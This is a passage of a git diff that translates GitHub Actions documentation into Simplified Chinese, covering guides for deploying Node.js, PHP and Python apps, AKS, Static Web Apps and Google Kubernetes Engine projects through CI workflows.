variables.product.prodname_actions %} workflow, you --runtime "NODE|14-lts" ``` - In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app. + 在上面的命令中,将参数替换为你自己的值,其中 `MY_WEBAPP_NAME` 是 Web 应用的新名称。 {% data reusables.actions.create-azure-publish-profile %} 5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} -## Creating the workflow +## 创建工作流程 -Once you've completed the prerequisites, you can proceed with creating the workflow. +完成先决条件后,可以继续创建工作流程。 -The following example workflow demonstrates how to build, test, and deploy the Node.js project to Azure App Service when there is a push to the `main` branch. +以下示例工作流演程示在推送到 `main` 分支时,如何构建、测试 Node.js 项目并将其部署到 Azure 应用服务。 -Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH` to your project path. If you use a version of Node.js other than `10.x`, change `NODE_VERSION` to the version that you use. +确保在工作流 `env` 中将 `AZURE_WEBAPP_NAME` 密钥设置为创建的 Web 应用的名称。 如果项目的路径不是存储库根路径,请将 `AZURE_WEBAPP_PACKAGE_PATH` 更改为你的项目路径。 如果使用的 Node.js 版本不是 `10.x`,请将 `NODE_VERSION` 更改为你使用的版本。 {% data reusables.actions.delete-env-key %} @@ -129,12 +133,11 @@ jobs: package: {% raw %}${{ env.AZURE_WEBAPP_PACKAGE_PATH }}{% endraw %} ``` -## Additional resources +## 其他资源 -The following resources may also be useful: +以下资源也可能有用: -* For the original starter workflow, see [`azure-webapps-node.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-node.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. -* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action. -* For more examples of GitHub Action workflows that deploy to Azure, see the -[actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. -* The "[Create a Node.js web app in Azure](https://docs.microsoft.com/azure/app-service/quickstart-nodejs)" quickstart in the Azure web app documentation demonstrates using {% data variables.product.prodname_vscode %} with the [Azure App Service extension](https://marketplace.visualstudio.com/items?itemName=ms-azuretools.vscode-azureappservice). +* 对于原始初学者工作流,请参阅 {% data variables.product.prodname_actions %} `starter-workflows` 存储库中的 [`azure-webapps-node.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-node.yml)。 +* 用于部署 Web 应用的操作是官方 Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) 操作。 +* 有关部署到 Azure 的 GitHub 操作工作流的更多示例,请参阅 [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) 存储库。 +* Azure Web 应用文档中的“[在 Azure 中创建 Node.js Web 应用](https://docs.microsoft.com/azure/app-service/quickstart-nodejs)”快速入门演示了如何将 {% data variables.product.prodname_vscode %} 与 [Azure 应用服务扩展](https://marketplace.visualstudio.com/items?itemName=ms-azuretools.vscode-azureappservice)配合使用。 diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md index ff5236a5ca..c31b4e9d79 100644 --- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md +++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md @@ -1,6 +1,6 @@ --- -title: Deploying PHP to Azure App Service -intro: You can deploy your PHP project to Azure App Service as part of your continuous deployment (CD) workflows. +title: 将 PHP 部署到 Azure App Service +intro: 作为持续部署 (CD) 工作流程的一部分,您可以将 PHP 项目部署到 Azure App Service。 versions: fpt: '*' ghes: '*' @@ -10,34 +10,38 @@ type: tutorial topics: - CD - Azure App Service +ms.openlocfilehash: 28314e1ccea9af232ff86712e86d7e6aec2d61a7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147410161' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 简介 -## Introduction +本指南说明如何使用 {% data variables.product.prodname_actions %} 构建 PHP 项目并将其部署到 [Azure 应用服务](https://azure.microsoft.com/services/app-service/)。 -This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a PHP project to [Azure App Service](https://azure.microsoft.com/services/app-service/). - -{% ifversion fpt or ghec or ghes > 3.4 %} +{% ifversion fpt or ghec or ghae-issue-4856 or ghes > 3.4 %} {% note %} -**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)." +注意:{% data reusables.actions.about-oidc-short-overview %} 和“[在 Azure 中配置 OpenID Connect](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)”。 {% endnote %} {% endif %} -## Prerequisites +## 先决条件 -Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: +在创建 {% data variables.product.prodname_actions %} 工作流程之前,首先需要完成以下设置步骤: {% data reusables.actions.create-azure-app-plan %} -2. Create a web app. +2. 创建 Web 应用。 - For example, you can use the Azure CLI to create an Azure App Service web app with a PHP runtime: + 例如,可以使用 Azure CLI 创建具有 PHP 运行时的 Azure App Service Web 应用: ```bash{:copy} az webapp create \ @@ -47,19 +51,19 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you --runtime "php|7.4" ``` - In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app. + 在上面的命令中,将参数替换为你自己的值,其中 `MY_WEBAPP_NAME` 是 Web 应用的新名称。 {% data reusables.actions.create-azure-publish-profile %} 5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} -## Creating the workflow +## 创建工作流程 -Once you've completed the prerequisites, you can proceed with creating the workflow. +完成先决条件后,可以继续创建工作流程。 -The following example workflow demonstrates how to build and deploy a PHP project to Azure App Service when there is a push to the `main` branch. +以下示例工作流演示如何在推送到 `main` 分支时构建 PHP 项目并将其部署到 Azure 应用服务。 -Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH` to the path to your project. If you use a version of PHP other than `8.x`, change`PHP_VERSION` to the version that you use. +确保在工作流 `env` 中将 `AZURE_WEBAPP_NAME` 密钥设置为创建的 Web 应用的名称。 如果项目的路径不是存储库根路径,请将 `AZURE_WEBAPP_PACKAGE_PATH` 更改为你的项目路径。 如果使用的 PHP 版本不是 `8.x`,请将 `PHP_VERSION` 更改为你使用的版本。 {% data reusables.actions.delete-env-key %} @@ -102,11 +106,7 @@ jobs: id: composer-cache if: steps.check_files.outputs.files_exists == 'true' run: | -{%- ifversion actions-save-state-set-output-envs %} - echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT -{%- else %} echo "::set-output name=dir::$(composer config cache-files-dir)" -{%- endif %} - name: Set up dependency caching for faster installs uses: {% data reusables.actions.action-cache %} @@ -149,10 +149,10 @@ jobs: package: . ``` -## Additional resources +## 其他资源 -The following resources may also be useful: +以下资源也可能有用: -* For the original starter workflow, see [`azure-webapps-php.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-php.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. -* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action. -* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. +* 对于原始初学者工作流,请参阅 {% data variables.product.prodname_actions %} `starter-workflows` 存储库中的 [`azure-webapps-php.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-php.yml)。 +* 用于部署 Web 应用的操作是官方 Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) 操作。 +* 有关部署到 Azure 的 GitHub 操作工作流的更多示例,请参阅 [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) 存储库。 diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md index a17a8efabe..35f8df5106 100644 --- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md +++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md @@ -1,6 +1,6 @@ --- -title: Deploying Python to Azure App Service -intro: You can deploy your Python project to Azure App Service as part of your continuous deployment (CD) workflows. +title: 将 Python 部署到 Azure App Service +intro: 作为持续部署 (CD) 工作流程的一部分,您可以将 Python 项目部署到 Azure App Service。 versions: fpt: '*' ghes: '*' @@ -11,34 +11,38 @@ topics: - CD - Python - Azure App Service +ms.openlocfilehash: c9f1bc719068a250aaabfbb8dcb3581335dabdb1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147409457' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 简介 -## Introduction +本指南说明如何使用 {% data variables.product.prodname_actions %} 构建 Python 项目并将其部署到 [Azure 应用服务](https://azure.microsoft.com/services/app-service/)。 -This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Python project to [Azure App Service](https://azure.microsoft.com/services/app-service/). - -{% ifversion fpt or ghec or ghes > 3.4 %} +{% ifversion fpt or ghec or ghae-issue-4856 or ghes > 3.4 %} {% note %} -**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)." +注意:{% data reusables.actions.about-oidc-short-overview %} 和“[在 Azure 中配置 OpenID Connect](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)”。 {% endnote %} {% endif %} -## Prerequisites +## 先决条件 -Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: +在创建 {% data variables.product.prodname_actions %} 工作流程之前,首先需要完成以下设置步骤: {% data reusables.actions.create-azure-app-plan %} -1. Create a web app. +1. 创建 Web 应用。 - For example, you can use the Azure CLI to create an Azure App Service web app with a Python runtime: + 例如,可以使用 Azure CLI 创建具有 Python 运行时的 Azure App Service Web 应用: ```bash{:copy} az webapp create \ @@ -48,21 +52,21 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you --runtime "python|3.8" ``` - In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app. + 在上面的命令中,将参数替换为你自己的值,其中 `MY_WEBAPP_NAME` 是 Web 应用的新名称。 {% data reusables.actions.create-azure-publish-profile %} -1. Add an app setting called `SCM_DO_BUILD_DURING_DEPLOYMENT` and set the value to `1`. +1. 添加名为 `SCM_DO_BUILD_DURING_DEPLOYMENT` 的应用设置并将值设置为 `1`。 5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} -## Creating the workflow +## 创建工作流程 -Once you've completed the prerequisites, you can proceed with creating the workflow. +完成先决条件后,可以继续创建工作流程。 -The following example workflow demonstrates how to build and deploy a Python project to Azure App Service when there is a push to the `main` branch. +以下示例工作流演示如何在推送到 `main` 分支时构建 Python 项目并将其部署到 Azure 应用服务。 -Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If you use a version of Python other than `3.8`, change `PYTHON_VERSION` to the version that you use. +确保在工作流 `env` 中将 `AZURE_WEBAPP_NAME` 密钥设置为创建的 Web 应用的名称。 如果使用的 Python 版本不是 `3.8`,请将 `PYTHON_VERSION` 更改为你使用的版本。 {% data reusables.actions.delete-env-key %} @@ -141,10 +145,10 @@ jobs: publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %} ``` -## Additional resources +## 其他资源 -The following resources may also be useful: +以下资源也可能有用: -* For the original starter workflow, see [`azure-webapps-python.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-python.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. -* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action. -* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. +* 对于原始初学者工作流,请参阅 {% data variables.product.prodname_actions %} `starter-workflows` 存储库中的 [`azure-webapps-python.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-python.yml)。 +* 用于部署 Web 应用的操作是官方 Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) 操作。 +* 有关部署到 Azure 的 GitHub 操作工作流的更多示例,请参阅 [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) 存储库。 diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md index 99dbf66830..1d6089d219 100644 --- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md +++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md @@ -1,6 +1,6 @@ --- -title: Deploying to Azure Kubernetes Service -intro: You can deploy your project to Azure Kubernetes Service (AKS) as part of your continuous deployment (CD) workflows. +title: 部署到 Azure Kubernetes Service +intro: 作为持续部署 (CD) 工作流程的一部分,您可以将项目部署到 Azure Kubernetes Service (AKS)。 versions: fpt: '*' ghes: '*' @@ -10,47 +10,51 @@ type: tutorial topics: - CD - Azure Kubernetes Service +ms.openlocfilehash: 5c3052f1f432663a38be6aa15376c186c96193ca +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147410121' --- - -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -## Introduction +## 简介 -This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a project to [Azure Kubernetes Service](https://azure.microsoft.com/services/kubernetes-service/). +本指南说明如何使用 {% data variables.product.prodname_actions %} 构建项目并将其部署到 [Azure Kubernetes 服务](https://azure.microsoft.com/services/kubernetes-service/)。 -{% ifversion fpt or ghec or ghes > 3.4 %} +{% ifversion fpt or ghec or ghae-issue-4856 or ghes > 3.4 %} {% note %} -**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)." +注意:{% data reusables.actions.about-oidc-short-overview %} 和“[在 Azure 中配置 OpenID Connect](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)”。 {% endnote %} {% endif %} -## Prerequisites +## 先决条件 -Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: +在创建 {% data variables.product.prodname_actions %} 工作流程之前,首先需要完成以下设置步骤: -1. Create a target AKS cluster and an Azure Container Registry (ACR). For more information, see "[Quickstart: Deploy an AKS cluster by using the Azure portal - Azure Kubernetes Service](https://docs.microsoft.com/azure/aks/kubernetes-walkthrough-portal)" and "[Quickstart - Create registry in portal - Azure Container Registry](https://docs.microsoft.com/azure/container-registry/container-registry-get-started-portal)" in the Azure documentation. +1. 创建目标 AKS 群集和 Azure 容器注册表 (ACR)。 有关详细信息,请参阅 Azure 文档中的“[快速入门:使用 Azure 门户部署 AKS 群集 - Azure Kubernetes 服务](https://docs.microsoft.com/azure/aks/kubernetes-walkthrough-portal)”和“[快速入门 - 在门户中创建注册表 - Azure 容器注册表](https://docs.microsoft.com/azure/container-registry/container-registry-get-started-portal)”。 -1. Create a secret called `AZURE_CREDENTIALS` to store your Azure credentials. For more information about how to find this information and structure the secret, see [the `Azure/login` action documentation](https://github.com/Azure/login#configure-a-service-principal-with-a-secret). +1. 创建名为 `AZURE_CREDENTIALS` 的机密来存储 Azure 凭据。 有关如何查找此信息和构造机密的详细信息,请参阅 [`Azure/login` 操作文档](https://github.com/Azure/login#configure-a-service-principal-with-a-secret)。 -## Creating the workflow +## 创建工作流程 -Once you've completed the prerequisites, you can proceed with creating the workflow. +完成先决条件后,可以继续创建工作流程。 -The following example workflow demonstrates how to build and deploy a project to Azure Kubernetes Service when code is pushed to your repository. +以下示例工作流程演示在将代码推送到存储库时,如何构建项目并将其部署到 Azure Kubernetes Service。 -Under the workflow `env` key, change the following values: -- `AZURE_CONTAINER_REGISTRY` to the name of your container registry -- `PROJECT_NAME` to the name of your project -- `RESOURCE_GROUP` to the resource group containing your AKS cluster -- `CLUSTER_NAME` to the name of your AKS cluster +在工作流 `env` 键下,更改以下值: +- 将 `AZURE_CONTAINER_REGISTRY` 更改为容器注册表的名称 +- 将 `PROJECT_NAME` 更改为项目的名称 +- 将 `RESOURCE_GROUP` 更改为包含 AKS 群集的资源组 +- 将 `CLUSTER_NAME` 更改为 AKS 群集名称 -This workflow uses the `helm` render engine for the [`azure/k8s-bake` action](https://github.com/Azure/k8s-bake). If you will use the `helm` render engine, change the value of `CHART_PATH` to the path to your helm file. Change `CHART_OVERRIDE_PATH` to an array of override file paths. If you use a different render engine, update the input parameters sent to the `azure/k8s-bake` action. +此工作流使用 `helm` 呈现引擎来执行 [`azure/k8s-bake` 操作](https://github.com/Azure/k8s-bake)。 如果将使用 `helm` 呈现引擎,请将 `CHART_PATH` 的值更改为 helm 文件的路径。 将 `CHART_OVERRIDE_PATH` 更改为覆盖文件路径的数组。 如果使用其他呈现引擎,请更新发送到 `azure/k8s-bake` 操作的输入参数。 ```yaml{:copy} {% data reusables.actions.actions-not-certified-by-github-comment %} @@ -119,10 +123,10 @@ jobs: {% raw %}${{ env.PROJECT_NAME }}{% endraw %} ``` -## Additional resources +## 其他资源 -The following resources may also be useful: +以下资源也可能有用: -* For the original starter workflow, see [`azure-kubernetes-service.yml `](https://github.com/actions/starter-workflows/blob/main/deployments/azure-kubernetes-service.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. -* The actions used to in this workflow are the official Azure [`Azure/login`](https://github.com/Azure/login),[`Azure/aks-set-context`](https://github.com/Azure/aks-set-context), [`Azure/CLI`](https://github.com/Azure/CLI), [`Azure/k8s-bake`](https://github.com/Azure/k8s-bake), and [`Azure/k8s-deploy`](https://github.com/Azure/k8s-deploy)actions. -* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. +* 对于原始初学者工作流,请参阅 {% data variables.product.prodname_actions %} `starter-workflows` 存储库中的 [`azure-kubernetes-service.yml `](https://github.com/actions/starter-workflows/blob/main/deployments/azure-kubernetes-service.yml)。 +* 此工作流中使用的操作是官方 Azure [`Azure/login`](https://github.com/Azure/login)、[`Azure/aks-set-context`](https://github.com/Azure/aks-set-context)、[`Azure/CLI`](https://github.com/Azure/CLI)、[`Azure/k8s-bake`](https://github.com/Azure/k8s-bake),以及 [`Azure/k8s-deploy`](https://github.com/Azure/k8s-deploy) 操作。 +* 有关部署到 Azure 的 GitHub 操作工作流的更多示例,请参阅 [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) 存储库。 diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md index 6a267be0b2..0771c43765 100644 --- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md +++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md @@ -1,6 +1,6 @@ --- -title: Deploying to Azure Static Web App -intro: You can deploy your web app to Azure Static Web App as part of your continuous deployment (CD) workflows. +title: 部署到 Azure Static Web App +intro: 作为持续部署 (CD) 工作流程的一部分,可以将 Web 应用部署到 Azure Static Web App。 versions: fpt: '*' ghes: '*' @@ -10,46 +10,50 @@ type: tutorial topics: - CD - Azure Static Web Apps +ms.openlocfilehash: 3e5b9a90e91e237fbd1b5679624ed3cdb3865856 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147410545' --- - -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -## Introduction +## 简介 -This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a web app to [Azure Static Web Apps](https://azure.microsoft.com/services/app-service/static/). +本指南说明如何使用 {% data variables.product.prodname_actions %} 构建 Web 应用并将其部署到 [Azure Static Web Apps](https://azure.microsoft.com/services/app-service/static/)。 -{% ifversion fpt or ghec or ghes > 3.4 %} +{% ifversion fpt or ghec or ghae-issue-4856 or ghes > 3.4 %} {% note %} -**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)." +注意:{% data reusables.actions.about-oidc-short-overview %} 和“[在 Azure 中配置 OpenID Connect](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)”。 {% endnote %} {% endif %} -## Prerequisites +## 先决条件 -Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: +在创建 {% data variables.product.prodname_actions %} 工作流程之前,首先需要完成以下设置步骤: -1. Create an Azure Static Web App using the 'Other' option for deployment source. For more information, see "[Quickstart: Building your first static site in the Azure portal](https://docs.microsoft.com/azure/static-web-apps/get-started-portal)" in the Azure documentation. +1. 对部署源使用“Other(其他)”选项创建 Azure Static Web App。 有关详细信息,请参阅 Azure 文档中的“[快速入门:在 Azure 门户中构建第一个静态站点](https://docs.microsoft.com/azure/static-web-apps/get-started-portal)”。 -2. Create a secret called `AZURE_STATIC_WEB_APPS_API_TOKEN` with the value of your static web app deployment token. For more information about how to find your deployment token, see "[Reset deployment tokens in Azure Static Web Apps](https://docs.microsoft.com/azure/static-web-apps/deployment-token-management)" in the Azure documentation. +2. 使用静态 Web 应用部署令牌的值创建名为 `AZURE_STATIC_WEB_APPS_API_TOKEN` 的机密。 有关如何查找部署令牌的详细信息,请参阅 Azure 文档中的“[在 Azure 静态 Web 应用中重置部署令牌](https://docs.microsoft.com/azure/static-web-apps/deployment-token-management)”。 -## Creating the workflow +## 创建工作流程 -Once you've completed the prerequisites, you can proceed with creating the workflow. +完成先决条件后,可以继续创建工作流程。 -The following example workflow demonstrates how to build and deploy an Azure static web app when there is a push to the `main` branch or when a pull request targeting `main` is opened, synchronized, or reopened. The workflow also tears down the corresponding pre-production deployment when a pull request targeting `main` is closed. +以下示例工作流演示了在推送到 `main` 分支时,或者在打开、同步或重新打开面向 `main` 的拉取请求时,如何生成和部署 Azure 静态 Web 应用。 当面向 `main` 的拉取请求关闭时,工作流还会破坏相应的预生产部署。 -Under the workflow `env` key, change the following values: -- `APP_LOCATION` to the location of your client code -- `API_LOCATION` to the location of your API source code. If `API_LOCATION` is not relevant, you can delete the variable and the lines where it is used. -- `APP_ARTIFACT_LOCATION` to the location of your client code build output +在工作流 `env` 键下,更改以下值: +- 将 `APP_LOCATION` 更改为客户端代码的位置 +- 将 `API_LOCATION` 更改为 API 源代码的位置。 如果 `API_LOCATION` 不相关,则可以删除该变量以及使用它的行。 +- 将 `APP_ARTIFACT_LOCATION` 更改为客户端代码构建输出的位置 -For more information about these values, see "[Build configuration for Azure Static Web Apps](https://docs.microsoft.com/azure/static-web-apps/build-configuration?tabs=github-actions)" in the Azure documentation. +有关这些值的详细信息,请参阅 Azure 文档中的“[为 Azure Static Web Apps 生成配置](https://docs.microsoft.com/azure/static-web-apps/build-configuration?tabs=github-actions)”。 ```yaml{:copy} {% data reusables.actions.actions-not-certified-by-github-comment %} @@ -107,10 +111,10 @@ jobs: action: "close" ``` -## Additional resources +## 其他资源 -The following resources may also be useful: +以下资源也可能有用: -* For the original starter workflow, see [`azure-staticwebapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-staticwebapp.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. -* The action used to deploy the web app is the official Azure [`Azure/static-web-apps-deploy`](https://github.com/Azure/static-web-apps-deploy) action. -* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. +* 对于原始初学者工作流,请参阅 {% data variables.product.prodname_actions %} `starter-workflows` 存储库中的 [`azure-staticwebapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-staticwebapp.yml)。 +* 用于部署 Web 应用的操作是官方 Azure [`Azure/static-web-apps-deploy`](https://github.com/Azure/static-web-apps-deploy) 操作。 +* 有关部署到 Azure 的 GitHub 操作工作流的更多示例,请参阅 [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) 存储库。 diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md index 1e2f09b304..a921997ac8 100644 --- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md +++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md @@ -1,6 +1,6 @@ --- -title: Deploying to Google Kubernetes Engine -intro: You can deploy to Google Kubernetes Engine as part of your continuous deployment (CD) workflows. +title: 部署到 Google Kubernetes Engine +intro: 您可以部署到 Google Kubernetes Engine 引擎,作为持续部署 (CD) 工作流程的一部分。 redirect_from: - /actions/guides/deploying-to-google-kubernetes-engine - /actions/deployment/deploying-to-google-kubernetes-engine @@ -15,122 +15,121 @@ topics: - Containers - Google Kubernetes Engine shortTitle: Deploy to Google Kubernetes Engine +ms.openlocfilehash: 0572a326d52654b256e0e1ad7fe9c9c4e9d547ac +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147409545' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 简介 -## Introduction +本指南介绍如何使用 {% data variables.product.prodname_actions %} 构建容器化应用程序,将其推送到 Google 容器注册表 (GCR),以及要推送到 `main` 分支时将其部署到 Google Kubernetes Engine (GKE)。 -This guide explains how to use {% data variables.product.prodname_actions %} to build a containerized application, push it to Google Container Registry (GCR), and deploy it to Google Kubernetes Engine (GKE) when there is a push to the `main` branch. +GKE 是 Google Cloud 的托管 Kubernetes 群集服务,可以在云中或您自己的数据中心中托管您的容器化工作负载。 有关详细信息,请参阅 [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine)。 -GKE is a managed Kubernetes cluster service from Google Cloud that can host your containerized workloads in the cloud or in your own datacenter. For more information, see [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine). - -{% ifversion fpt or ghec or ghes > 3.4 %} +{% ifversion fpt or ghec or ghae-issue-4856 or ghes > 3.4 %} {% note %} -**Note**: {% data reusables.actions.about-oidc-short-overview %} +注意:{% data reusables.actions.about-oidc-short-overview %} {% endnote %} {% endif %} -## Prerequisites +## 先决条件 -Before you proceed with creating the workflow, you will need to complete the following steps for your Kubernetes project. This guide assumes the root of your project already has a `Dockerfile` and a Kubernetes Deployment configuration file. For an example, see [google-github-actions](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/gke). +在继续创建工作流程之前,您需要完成 Kubernetes 项目的以下步骤。 本指南假定项目的根目录已有 `Dockerfile` 和 Kubernetes 部署配置文件。 有关示例,请参阅 [google-github-actions](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/gke)。 -### Creating a GKE cluster +### 创建 GKE 群集 -To create the GKE cluster, you will first need to authenticate using the `gcloud` CLI. For more information on this step, see the following articles: +要创建 GKE 群集,首先需要使用 `gcloud` CLI 进行身份验证。 有关此步骤的更多信息,请参阅以下文章: - [`gcloud auth login`](https://cloud.google.com/sdk/gcloud/reference/auth/login) - [`gcloud` CLI](https://cloud.google.com/sdk/gcloud/reference) -- [`gcloud` CLI and Cloud SDK](https://cloud.google.com/sdk/gcloud#the_gcloud_cli_and_cloud_sdk) +- [`gcloud` CLI 和 Cloud SDK](https://cloud.google.com/sdk/gcloud#the_gcloud_cli_and_cloud_sdk) -For example: +例如: {% raw %} ```bash{:copy} $ gcloud container clusters create $GKE_CLUSTER \ - --project=$GKE_PROJECT \ - --zone=$GKE_ZONE + --project=$GKE_PROJECT \ + 